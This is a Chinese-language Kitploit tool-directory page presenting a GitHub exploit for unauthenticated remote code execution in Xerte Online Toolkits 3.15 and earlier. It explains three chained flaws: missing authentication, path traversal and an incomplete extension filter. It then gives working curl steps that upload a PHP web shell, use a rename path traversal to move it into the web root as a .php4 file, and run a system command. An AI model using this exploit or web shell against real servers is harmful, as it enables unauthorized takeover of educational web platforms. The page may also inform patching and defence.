Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
xerteonlinetoolkits-rce — 未经认证的 Xerte Online Toolkits 漏洞利用。需要知道一个有效的用户名。 | Kitploit
工具/GitHubGitHub/bootstrapbool/xerteonlinetoolkits-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubbootstrapbool/xerteonlinetoolkits-rce

xerteonlinetoolkits-rce

未经认证的 Xerte Online Toolkits 漏洞利用。需要知道一个有效的用户名。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
2个月前尚未审核

Xerte Online Toolkits <= 3.15 远程代码执行

Xerte Online Toolkits 版本 3.15 及更早版本在 /editor/elfinder/php/connector.php 组件中存在 3 个漏洞,未经身份验证的攻击者可将这些漏洞串联起来实现远程代码执行(RCE)。

受影响版本

Xerte Online Toolkits <= 3.15

后移植补丁已应用于版本 3.15、3.14 和 3.13

CWE-306:关键功能缺少身份验证 - CVE-2026-34413

未经身份验证的用户可以向 /editor/elfinder/php/connector.php 的 connector 组件发起请求。

以下代码用作访问控制。

文件:/editor/elfinder/php/connector.php 行号:35

root@kitploit:~
if (!isset($_SESSION['toolkits_logon_id'])){
    header("location: ../../../index.php");
}

这将重定向未经身份验证的用户,阻止他们接收未验证请求的响应,但这并不会终止会话,后续代码仍会执行。

CWE-23:相对路径遍历 - CVE-2026-34414

*需要攻击者知道他们要移动的文件的文件名

攻击者可以操纵向 connector.php 端点发出的“rename”请求中的“name”参数。这允许攻击者利用现有目录将文件移出用户的媒体目录。

CWE-184:允许输入的不完整列表 - CVE-2026-34415

由于 connector.php 文件扩展名过滤正则表达式中的错误,攻击者可以利用同一版本 Xerte 中存在的路径遍历漏洞,将带有恶意 PHP 代码的文件以 .php4 扩展名移动到应用程序根目录。

文件:/editor/elfinder/php/connector.php 行号:130

root@kitploit:~
array( // 隐藏 readme 文件
    'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
    'read'   => false,

php* 正则表达式仅匹配前一个字符。因此它会匹配以下内容:“ph”、“php”、“phppp”等。

链式攻击向量复现步骤

未经身份验证的远程代码执行

如果启用了身份验证(这不是 Xerte 的默认配置),那么攻击者必须知道(或暴力破解出)有效用户的用户名。如果使用访客身份验证(默认),那么目标项目目录将只是 1--Nottingham。

未经身份验证的攻击者可以在任何 USER-FILES/ 下的项目目录中创建目录“example_dir”并上传包含恶意 PHP 代码的“file.txt”文件。

然后,他们可以利用 Xerte 中存在的相对路径遍历和允许输入的不完整列表漏洞,通过将上传的文件名更改为“example_dir/../../../../file.php4”,将 file.txt 作为“file.php4”移动到应用程序根目录,从而实现远程代码执行。

  1. 获取完整的应用程序根目录路径
root@kitploit:~
curl 'http://localhost/xt/setup'
  1. 创建目录

请求参数: uploadDir:应用程序根目录 + USER-FILES/{项目 id}-{用户}-Nottingham/ uploadURL:项目目录的 URL cmd:mkdir name:新目录的名称 target:media/ 目录的 elfinder id。由于这是 elfinder 根目录,它将始终为 “l1_Lw”

root@kitploit:~
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
  1. 上传恶意 php 文件

*有效负载中的
标签可防止 elfinder MIME 类型过滤器检测 PHP 代码。

请求参数: uploadDir:应用程序根目录 + USER-FILES/{项目 id}-{用户}-Nottingham/ uploadURL:项目目录的 URL cmd:upload target:media/ 目录的 elfinder id。由于这是 elfinder 根目录,它将始终为 “l1_Lw” upload[]:要上传的文件。

root@kitploit:~
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
    -F 'cmd=upload' \
    -F 'target=l1_Lw' \
    -F "upload[][email protected];type=text/plain"
  1. 生成新文件的 elfinder id
root@kitploit:~
echo -n 'file.txt' | base64
ZmlsZS50eHQ=

确保修剪掉填充字符,此处仅为 “=”

添加卷标识符。这始终为 “l1”(对应 “/”)

结果:l1_ZmlsZS50eHQ

  1. 重命名文件并执行相对路径遍历

请求参数: uploadDir:应用程序根目录 + USER-FILES/{项目 id}-{用户}-Nottingham/ uploadURL:项目目录的 URL cmd:rename name:目录名称、路径遍历序列以及带有 .php4 扩展名的新文件名 target:我们从新文件生成的 elfinder id l1_ZmlsZS50eHQ

root@kitploit:~
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
  1. 验证代码执行

请求参数: cmd:要执行的命令

root@kitploit:~
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)
下载工具